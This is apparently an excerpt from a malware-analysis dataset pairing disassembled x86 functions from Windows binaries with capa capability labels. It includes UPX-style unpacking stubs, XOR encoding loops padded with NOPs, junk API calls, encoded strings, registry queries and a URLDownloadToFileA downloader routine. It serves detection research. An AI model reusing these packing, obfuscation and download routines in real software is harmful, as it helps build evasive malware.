joyce8/EMBER2024-capa huggingface dataset:
Function at 0x414a10
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x414a3d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x414a3d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x419760
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x40f015
lea edi, [esi - 0xe015]
push edi
or ebp, 0xffffffff
jmp 0x419782
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x419789
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x419778
mov eax, 1
add ebx, ebx
jne 0x41979b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x419790
jne 0x4197ac
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x419790
xor ecx, ecx
sub eax, 3
jb 0x4197c0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x419832
mov ebp, eax
add ebx, ebx
jne 0x4197cb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4197d8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4197fc
inc ecx
add ebx, ebx
jne 0x4197e8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4197dd
jne 0x4197f9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4197dd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41981c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41980d
jmp 0x41977e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41981c
add edi, ecx
jmp 0x41977e
pop esi
mov edi, esi
mov ecx, 0x2b3
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41983a
cmp byte [edi], 5
jne 0x41983a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x41983f
lea edi, [esi + 0x17000]
mov eax, dword [edi]
or eax, eax
je 0x4198b7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x19000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1908c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41986c
mov ecx, edi
jns 0x41989b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x19090]
or eax, eax
je 0x4198b1
mov dword [ebx], eax
add ebx, 4
jmp 0x419889
call dword [esi + 0x190a0]
mov ebp, dword [esi + 0x19094]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4198eb
sub esp, 0xffffff80
jmp 0x404c20
Function at 0x4010b0
Capabilities:
Delete file
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
cmp dword [0x8414dc], 0x594
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [eax]
mov eax, dword [eax + 4]
push edi
mov dword [ebp - 8], eax
jne 0x4010db
push str.hokuxeyidofap_lafegohawuzusatuxakoterasiva_purumogihali
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov ecx, dword [0x422cb8]
mov ebx, dword [0x422cbc]
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x2c], ecx
call fcn.004010a0
mov edx, dword [0x422cc0]
mov eax, dword [0x422cc4]
add dword [ebp - 0x18], 0x23f
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x24], eax
mov edi, 0x20
jmp 0x401120
mov dword [ebp - 0xc], 2
add dword [ebp - 0xc], 3
mov ecx, dword [0x8414dc]
mov eax, esi
shl eax, 4
mov dword [ebp - 4], eax
cmp ecx, 0xc
jne 0x401186
push 0
lea ecx, [ebp - 0x30]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
mov edx, dword [ebp + 8]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_PurgeComm]
xor ecx, ecx
xor eax, eax
lea edx, [ebp - 0x34]
push edx
mov word [ebp - 0x1c], ax
mov word [ebp - 0x1a], cx
mov eax, dword [ebp - 0x1c]
push eax
push ecx
push str.dojizilujidufarekezurutiric
push ecx
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterW]
mov eax, dword [ebp - 4]
mov ecx, dword [0x8414dc]
add eax, dword [ebp - 0x20]
mov dword [ebp - 4], eax
cmp ecx, 0xfa9
jne 0x4011a0
mov dword [0x8414d8], 0xedeb2e40
jmp 0x4011c2
cmp ecx, 0x3eb
jne 0x4011c2
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
mov dword [0x840e8c], 0
mov ecx, dword [ebp - 0x18]
add ecx, esi
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp - 0xc]
mov edx, esi
shr edx, cl
mov dword [0x8414d4], 0xf4ea3dee
add edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14]
xor dword [ebp - 4], eax
xor edx, dword [ebp - 4]
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x28]
add dword [ebp - 8], 0x64
sub dword [ebp - 8], eax
sub dword [ebp - 8], 0x64
mov edx, dword [ebp - 8]
shl edx, 4
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x2c]
add dword [ebp - 4], eax
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x18]
add dword [ebp - 0x10], eax
mov eax, dword [ebp - 8]
nop
add dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
mov eax, edx
shr eax, cl
mov ecx, dword [ebp - 4]
add eax, ebx
xor eax, dword [ebp - 0x14]
xor ecx, eax
lea eax, [ebp - 0x18]
mov dword [ebp - 4], ecx
sub esi, ecx
call fcn.00401090
sub edi, 1
jne 0x401120
cmp dword [0x8414dc], 0xa6d
mov edi, dword [ebp + 8]
mov dword [edi], esi
jne 0x401279
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, dword [ebp - 8]
mov dword [edi + 4], eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov dword [edi + 4], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x405fbc
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x422a40]
jne 0x405fc6
repz ret
jmp fcn.004073d8

Function at 0x4061fe
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00402cda
and dword [ebp - 4], 0
cmp dword [0x423910], 0
mov ebx, eax
jne 0x4062af
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x406360
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x406360
push eax
call fcn.00402c68
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x423910], eax
call esi
push eax
call fcn.00402c68
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x423914], eax
call esi
push eax
call fcn.00402c68
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x423918], eax
call esi
push eax
call fcn.00402c68
pop ecx
mov dword [0x423920], eax
test eax, eax
je 0x4062af
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00402c68
pop ecx
mov dword [0x42391c], eax
mov eax, dword [0x42391c]
cmp eax, ebx
je 0x406307
cmp dword [0x423920], ebx
je 0x406307
push eax
call fcn.00402ce3
push dword [0x423920]
mov esi, eax
call fcn.00402ce3
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x406307
test edi, edi
je 0x406307
call esi
test eax, eax
je 0x4062fe
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4062fe
test byte [ebp - 0xc], 1
jne 0x406307
or dword [ebp + 0x10], 0x200000
jmp 0x406340
mov eax, dword [0x423914]
cmp eax, ebx
je 0x406340
push eax
call fcn.00402ce3
pop ecx
test eax, eax
je 0x406340
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x406340
mov eax, dword [0x423918]
cmp eax, ebx
je 0x406340
push eax
call fcn.00402ce3
pop ecx
test eax, eax
je 0x406340
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x423910]
call fcn.00402ce3
pop ecx
test eax, eax
je 0x406360
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x406362
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x3343bf0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x2bf5000]
push edi
or ebp, 0xffffffff
jmp 0x3343c12
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x3343c19
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x3343c08
mov eax, 1
add ebx, ebx
jne 0x3343c2b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x3343c3c
jne 0x3343c5b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x3343c5b
dec eax
add ebx, ebx
jne 0x3343c48
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x3343c20
add ebx, ebx
jne 0x3343c57
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x3343cad
xor ecx, ecx
sub eax, 3
jb 0x3343c73
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x3343ce2
sar eax, 1
mov ebp, eax
jmp 0x3343c7e
add ebx, ebx
jne 0x3343c7e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x3343c4c
inc ecx
add ebx, ebx
jne 0x3343c8c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x3343c4c
add ebx, ebx
jne 0x3343c99
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x3343c8e
jne 0x3343caa
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x3343c8e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x3343ccc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x3343cbe
jmp 0x3343c0e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x3343ccc
add edi, ecx
jmp 0x3343c0e
pop esi
mov edi, esi
mov ecx, 0x99df
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x3343cea
mov eax, dword [edi]
mov bl, byte [edi + 4]
xchg ah, al
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x3343cef
lea edi, [esi + 0x2f41000]
mov eax, dword [edi]
or eax, eax
je 0x3343d60
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x2f49504]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x2f49540]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x3343d15
mov ecx, edi
jns 0x3343d44
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x2f49544]
or eax, eax
je 0x3343d5a
mov dword [ebx], eax
add ebx, 4
jmp 0x3343d32
call dword [esi + 0x2f49554]
mov ebp, dword [esi + 0x2f49548]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1cf]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x3343d94
sub esp, 0xffffff80
jmp 0x401478
Function at 0x414ddf
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
xor dword [eax], edx
sub esp, 4
mov dword [esp], esi
pop esi
add eax, 4
cmp eax, edi
jne fcn.00414ddf
or ecx, esi
sub esi, 0xaff6a553
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ecc
mov ecx, 0x565454f3
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x430024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0x53f463c2
nop
nop
nop
nop
test eax, eax
je 0x430084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x403ca0
Capabilities:
Encode data using xor

Disassembly:
push 0x48
mov eax, 0x471290
call fcn.0045484f
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x50], edi
lea eax, [ebp + 0xc]
push eax
xor ebx, ebx
lea eax, [ebp - 0x2c]
inc ebx
push eax
mov dword [ebp - 4], ebx
call fcn.00403a13
pop ecx
pop ecx
mov ecx, esi
mov byte [ebp - 4], 2
call fcn.00403657
mov dword [ebp - 0x50], ebx
cmp dword [ebp - 0x18], edi
jbe 0x403d0a
push edi
lea ecx, [ebp - 0x2c]
call fcn.00403360
mov cl, byte [0x4a129c]
xor byte [eax], cl
push edi
lea ecx, [ebp - 0x2c]
call fcn.00403360
movzx eax, byte [eax]
push eax
mov ecx, esi
call fcn.0040371e
inc edi
cmp edi, dword [ebp - 0x18]
jb 0x403cdf
push dword [esi]
lea ecx, [ebp - 0x48]
call fcn.0040238c
mov edi, dword [ebp + 0x28]
dec edi
mov byte [ebp - 4], 3
test edi, edi
jle 0x403d5c
push dword [ebp + 0x2c]
lea eax, [ebp - 0x48]
push edi
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x4c], esp
push eax
call fcn.00401f48
lea eax, [ebp - 0x4c]
push eax
call fcn.00403ca0
add esp, 0x28
push eax
mov ecx, esi
mov byte [ebp - 4], 4
call fcn.00403923
mov ecx, dword [ebp - 0x4c]
add ecx, 0xfffffff0
mov byte [ebp - 4], 3
call fcn.00401268
inc edi
cmp dword [ebp + 0x2c], edi
jne 0x403d8d
mov eax, dword [esi]
mov eax, dword [eax - 0xc]
sub eax, dword [ebp + 0x2c]
mov ecx, esi
push eax
lea eax, [ebp - 0x4c]
push eax
call fcn.004037dd
push eax
mov ecx, esi
mov byte [ebp - 4], 5
call fcn.00403923
mov ecx, dword [ebp - 0x4c]
add ecx, 0xfffffff0
call fcn.00401268
push 0
push ebx
lea ecx, [ebp - 0x48]
call fcn.004018aa
push 0
push ebx
lea ecx, [ebp - 0x2c]
call fcn.004018aa
push 0
push ebx
lea ecx, [ebp + 0xc]
call fcn.004018aa
mov eax, esi
call fcn.004548d2
ret
Function at 0x408525
Capabilities:
Encode data using xor

Disassembly:
push 0xc8
mov eax, 0x4717c8
call fcn.0045484f
mov ebx, dword [ebp + 8]
xor edi, edi
mov dword [ebp - 0x50], edi
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp - 0x2c]
push eax
mov dword [ebp - 4], edi
call fcn.00403a13
pop ecx
pop ecx
mov byte [ebp - 4], 1
call fcn.004322ac
push eax
lea ecx, [ebp - 0x4c]
call fcn.00405926
xor esi, esi
mov byte [ebp - 4], 2
cmp dword [ebp - 0x18], edi
jbe 0x40859b
push esi
lea ecx, [ebp - 0x2c]
call fcn.00403360
mov cl, byte [0x4a129c]
xor byte [eax], cl
push esi
lea ecx, [ebp - 0x2c]
call fcn.00403360
movsx ax, byte [eax]
movzx eax, ax
push eax
lea ecx, [ebp - 0x4c]
call fcn.00407289
inc esi
cmp esi, dword [ebp - 0x18]
jb 0x40856b
mov esi, dword [ebp + 0x28]
dec esi
cmp esi, edi
jle 0x408629
push dword [ebp - 0x4c]
lea ecx, [ebp - 0xd4]
call fcn.00406464
push dword [eax]
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 3
call fcn.0040238c
lea eax, [ebp - 0xd0]
mov byte [ebp - 4], 5
cmp dword [ebp - 0xd4], eax
je 0x4085e1
push dword [ebp - 0xd4]
call fcn.00454363
pop ecx
push dword [ebp + 0x2c]
lea eax, [ebp - 0x48]
push esi
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x50], esp
push eax
call fcn.00401f48
lea eax, [ebp - 0x50]
push eax
call fcn.00408525
add esp, 0x28
push eax
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 6
call fcn.004073fa
mov ecx, dword [ebp - 0x50]
add ecx, 0xfffffff0
call fcn.00401268
push edi
push 1
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 2
call fcn.004018aa
inc esi
cmp dword [ebp + 0x2c], esi
jne 0x408661
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax - 0xc]
sub eax, dword [ebp + 0x2c]
lea ecx, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x50]
push eax
call fcn.00406acd
push eax
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 7
call fcn.004073fa
mov ecx, dword [ebp - 0x50]
add ecx, 0xfffffff0
mov byte [ebp - 4], 2
call fcn.00401268
lea ecx, [ebp - 0x4c]
call fcn.00407356
mov ecx, eax
call fcn.0040739f
push eax
mov ecx, ebx
call fcn.0040594b
mov ecx, dword [ebp - 0x4c]
add ecx, 0xfffffff0
call fcn.00401268
push edi
push 1
lea ecx, [ebp - 0x2c]
call fcn.004018aa
push edi
push 1
lea ecx, [ebp + 0xc]
call fcn.004018aa
mov eax, ebx
call fcn.004548d2
ret
Function at 0x41b4da
Capabilities:
Check os version

Disassembly:
push ebp
sub esp, 0x94
lea ebp, [esp - 4]
mov eax, dword [0x4a321c]
xor eax, ebp
mov dword [ebp + 0x94], eax
push 0xc
mov eax, 0x474707
call fcn.004547e6
mov esi, dword [ebp + 0xa0]
push 5
push 5
sub esp, 0x1c
xor edi, edi
mov dword [ebp - 0x14], edi
mov ecx, esp
mov dword [ebp - 0x10], esp
push str.OxgRRSAhMyswJgEFOzBCED8gJxk8Czs7PwsVRTwZOyM7FR00IyYGMSELO08
mov dword [ebp - 4], edi
mov dword [ebp - 0x18], esi
call fcn.0040238c
push esi
call fcn.00403ca0
mov dword [ebp - 4], edi
mov edi, 0x94
push edi
xor ebx, ebx
lea eax, [ebp]
push 0
inc ebx
push eax
mov dword [ebp - 0x14], ebx
call fcn.00454130
add esp, 0x34
lea eax, [ebp]
push eax
mov dword [ebp], edi
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp + 4], 5
jne 0x41b5b9
push 2
cmp dword [ebp + 8], ebx
jne 0x41b58a
push 2
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x10], esp
push str.ODcrHjUKBQM7FU9P
call fcn.0040238c
lea eax, [ebp - 0x10]
push eax
call fcn.00403ca0
add esp, 0x28
mov dword [ebp - 4], ebx
jmp 0x41b64b
pop ebx
cmp dword [ebp + 8], ebx
jne 0x41b65e
push 4
pop edi
push edi
push edi
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x10], esp
push str.OxgzFjs2GQo9BR1GMRg8NyILMDE3MTsQNyAnSjtCSyI
call fcn.0040238c
lea eax, [ebp - 0x10]
push eax
call fcn.00403ca0
add esp, 0x28
jmp 0x41b582
cmp dword [ebp + 4], 6
jne 0x41b65e
cmp dword [ebp + 8], 0
jne 0x41b5f1
push 3
pop edi
push edi
push edi
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x10], esp
push str.OwUnHDomFRUzIDdGPzM3BT8wHV0mBU9P
call fcn.0040238c
lea eax, [ebp - 0x10]
push eax
call fcn.00403ca0
add esp, 0x28
mov dword [ebp - 4], edi
jmp 0x41b64b
cmp dword [ebp + 8], ebx
jne 0x41b61b
push 4
pop edi
push edi
push edi
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x10], esp
push str.PQoBCDMxMx86IB1GMRg8NyIzASU7FU9P
call fcn.0040238c
lea eax, [ebp - 0x10]
push eax
call fcn.00403ca0
add esp, 0x28
jmp 0x41b5ec
cmp dword [ebp + 8], 2
jne 0x41b65e
push 3
pop edi
push edi
push edi
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x10], esp
push str.PQs3QTkYFRUzIDcaNCdLIg
call fcn.0040238c
lea eax, [ebp - 0x10]
push eax
call fcn.00403ca0
add esp, 0x28
mov dword [ebp - 4], 9
push eax
mov ecx, esi
call fcn.00403923
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
call fcn.00401268
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x94]
xor ecx, ebp
call fcn.004547d7
add ebp, 0x98
leave
ret
Function at 0x4204a6
Capabilities:
Create directory
Download url
Receive data

Disassembly:
push 8
mov eax, 0x4753ca
call fcn.004547e6
mov esi, ecx
mov eax, dword [ebp + 8]
mov dword [esi + 0x28], eax
lea eax, [esi + 0x20]
push eax
call fcn.004560ee
pop ecx
call fcn.004322ac
push eax
lea ecx, [ebp + 8]
call fcn.00405926
mov eax, dword [esi + 8]
mov ecx, dword [eax + 0xc]
xor ebx, ebx
cmp dword [ecx - 0xc], ebx
mov dword [ebp - 4], ebx
jg 0x420524
push dword [eax + 4]
lea eax, [ebp - 0x14]
push eax
call fcn.00421aed
mov eax, dword [eax]
mov ecx, dword [esi + 8]
mov ecx, dword [ecx + 8]
push 0x5c
push eax
push ecx
lea eax, [ebp - 0x10]
push eax
mov byte [ebp - 4], 1
call fcn.00421c68
add esp, 0x18
push eax
lea ecx, [ebp + 8]
mov byte [ebp - 4], 2
call fcn.00403923
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
call fcn.00401268
jmp 0x420544
mov eax, dword [eax + 8]
push 0x5c
push ecx
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.00421c68
add esp, 0x10
push eax
lea ecx, [ebp + 8]
mov byte [ebp - 4], 3
call fcn.00403923
mov ecx, dword [ebp - 0x14]
add ecx, 0xfffffff0
mov byte [ebp - 4], bl
call fcn.00401268
mov eax, dword [esi + 8]
mov eax, dword [eax + 8]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov eax, dword [esi + 8]
add eax, 4
push eax
lea ecx, [ebp - 0x14]
call fcn.0040366b
mov edi, dword [ebp - 0x14]
push edi
mov byte [ebp - 4], 4
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push esi
mov esi, dword [ebp + 8]
push ebx
push esi
push edi
push ebx
call sub.urlmon.dll_URLDownloadToFileA
cmp eax, ebx
jge 0x42059f
mov dword [ebp - 0x10], eax
push 0x497a1c
lea eax, [ebp - 0x10]
push eax
call fcn.00454317
lea ecx, [edi - 0x10]
call fcn.00401268
lea ecx, [esi - 0x10]
call fcn.00401268
call fcn.004548be
ret 4

Function at 0x420e2d
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x68]
sub esp, 0xa4
mov eax, dword [0x4a321c]
xor eax, ebp
mov dword [ebp + 0x64], eax
mov eax, dword [ebp + 0x7c]
mov ecx, dword [ebp + 0x70]
mov edx, dword [ebp + 0x74]
push edi
mov edi, dword [ebp + 0x78]
test eax, eax
jne 0x420e65
lea eax, [ebp - 0x38]
push eax
push 1
push 0
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
jmp 0x420e79
push ebx
lea ebx, [ebp - 0x38]
push ebx
or eax, 1
push eax
push 0
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
pop ebx
test eax, eax
je 0x420e81
xor eax, eax
jmp 0x420eb4
test edi, edi
je 0x420ea6
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x34]
push eax
push 0
push 0
push edi
push dword [ebp - 0x38]
mov dword [ebp - 0x3c], 0x96
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x420e7d
push dword [ebp - 0x38]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
neg eax
sbb eax, eax
inc eax
mov ecx, dword [ebp + 0x64]
xor ecx, ebp
pop edi
call fcn.004547d7
add ebp, 0x68
leave
ret
Function at 0x42105e
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
sub esp, 0x100
lea ebp, [esp - 4]
mov eax, dword [0x4a321c]
xor eax, ebp
mov dword [ebp + 0x100], eax
push 0x44
mov eax, 0x47548c
call fcn.00454819
mov ecx, dword [ebp + 0x10c]
mov eax, dword [ebp + 0x118]
mov esi, dword [ebp + 0x110]
mov edi, dword [ebp + 0x114]
xor ebx, ebx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x28], ebx
call fcn.00403657
xor eax, eax
inc eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x11c]
cmp eax, ebx
jne 0x4210c8
lea eax, [ebp - 0x14]
push eax
push 0x20019
jmp 0x4210d2
lea ecx, [ebp - 0x14]
push ecx
or eax, 0x20019
push eax
push ebx
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
jne 0x421194
push 0xfe
lea eax, [ebp + 1]
push ebx
push eax
mov byte [ebp], bl
call fcn.00454130
add esp, 0xc
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x2c]
push eax
push ebx
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp]
push eax
push dword [ebp - 0x14]
mov dword [ebp - 0x30], 0xff
mov dword [ebp - 0x2c], ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 0x18]
push eax
push ebx
push ebx
push ebx
push dword [ebp - 0x1c]
mov dword [ebp - 0x18], 4
push dword [ebp - 0x14]
call esi
test eax, eax
jne 0x42118b
push dword [ebp - 0x18]
call fcn.00457bd8
pop ecx
mov edi, eax
lea eax, [ebp - 0x18]
push eax
push edi
lea eax, [ebp - 0x24]
push eax
push ebx
push dword [ebp - 0x1c]
push dword [ebp - 0x14]
call esi
test eax, eax
jne 0x421184
cmp dword [ebp - 0x24], 1
jne 0x421184
mov ecx, dword [ebp - 0x20]
push edi
call fcn.004039e4
push edi
call fcn.00454363
pop ecx
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x100]
xor ecx, ebp
call fcn.004547d7
add ebp, 0x104
leave
ret